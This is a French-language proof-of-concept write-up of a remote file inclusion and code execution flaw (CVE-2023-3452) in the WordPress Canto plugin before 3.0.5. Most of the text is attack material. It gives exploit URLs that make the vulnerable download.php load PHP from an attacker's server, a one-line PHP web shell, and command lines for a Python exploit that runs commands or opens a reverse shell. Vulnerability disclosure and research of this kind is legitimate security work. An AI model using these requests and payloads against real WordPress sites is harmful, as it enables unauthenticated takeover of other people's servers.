
Plugin WordPress Canto < 3.0.5 - Inclusion de fichier distant (RFI) et exécution de code à distance (RCE)
Nous expliquons ici un PoC de la dernière vulnérabilité RFI (Inclusion de fichier distant) du plugin Wordpress Canto, et nous avons développé un exploit pour automatiser l'exécution de commandes.
« Le plugin Canto pour WordPress est vulnérable à l'inclusion de fichier distant (Remote File Inclusion) dans les versions jusqu'à la 3.0.4 incluse, via le paramètre 'wp_abspath'. Cela permet à des attaquants non authentifiés d'inclure et d'exécuter du code arbitraire à distance sur le serveur, à condition que allow_url_include soit activé. L'inclusion de fichier local (Local File Inclusion) est également possible, bien que moins utile car elle nécessite que l'attaquant soit en mesure de téléverser un fichier php malveillant via FTP ou un autre moyen dans un répertoire lisible par le serveur web. » (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
Cet exploit exploite un bug dans le paramètre wp_abspath, comme on peut le voir dans la ligne de code suivante includes/lib/download.php :
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
Pour exploiter cette vulnérabilité, il est également nécessaire que le paramètre allow_url_include=On soit activé dans la configuration php.
Il est possible d'envoyer des requêtes avec ce paramètre pointant vers notre serveur web, à partir duquel le code php sera interprété. Par exemple, si nous envoyons la requête suivante, nous pouvons vérifier que nous recevons la requête sur notre serveur :
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

Nous voyons que le serveur appelle le fichier /wp-admin/admin.php. Ainsi, si nous créons le répertoire et ajoutons notre code php malveillant dans le fichier admin.php, le serveur vulnérable le télécharge et l'exécute correctement.
Par exemple, si nous écrivons dans notre fichier admin.php un web-shell php <?php system($_GET['cmd']); ?>, nous pouvons exécuter du code à distance.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

Tout cela a été automatisé dans l'exploit python : CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
